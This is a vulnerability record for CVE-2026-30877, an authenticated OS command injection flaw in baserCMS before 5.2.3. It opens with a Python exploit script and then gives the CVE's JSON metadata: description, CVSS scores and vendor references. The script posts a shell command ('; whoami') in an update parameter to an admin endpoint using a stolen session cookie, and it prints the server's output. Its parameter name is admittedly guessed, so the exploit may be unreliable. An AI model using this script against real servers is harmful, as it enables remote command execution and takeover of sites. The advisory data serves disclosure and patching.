CVE-2026-30877

import requests # Target URL (Example) target_url = "http://vulnerable-site/admin/tools/update" # Attacker Cookie (Admin privileges required) cookies = { "PHPSESSID": "stolen_admin_session_id" } # Malicious payload injecting a shell command (e.g., `whoami`) # The specific parameter depends on the vulnerable field in the update function payload_data = { "update_url": "http://valid-update-url.com; whoami", "exec_update": "1" } try: print("[+] Sending malicious request to trigger OS command injection...") response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server response for command output.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-30877", "sourceIdentifier": "[email protected]", "published": "2026-03-31T01:16:35.830", "lastModified": "2026-04-01T20:28:43.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "baserCMS is a website development framework. Prior to version 5.2.3, there is an OS command injection vulnerability in the update functionality. Due to this issue, an authenticated user with administrator privileges in baserCMS can execute arbitrary OS commands on the server with the privileges of the user account running baserCMS. This issue has been patched in version 5.2.3."}, {"lang": "es", "value": "baserCMS es un framework de desarrollo de sitios web. Antes de la versión 5.2.3, existe una vulnerabilidad de inyección de comandos del sistema operativo en la funcionalidad de actualización. Debido a este problema, un usuario autenticado con privilegios de administrador en baserCMS puede ejecutar comandos arbitrarios del sistema operativo en el servidor con los privilegios de la cuenta de usuario que ejecuta baserCMS. Este problema ha sido parcheado en la versión 5.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:basercms:basercms:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.2.3", "matchCriteriaId": "07DEEEF3-0621-431D-8A38-405EDBD0957E"}]}]}], "references": [{"url": "https://basercms.net/security/JVN_20837860", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-m9g7-rgfc-jcm7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}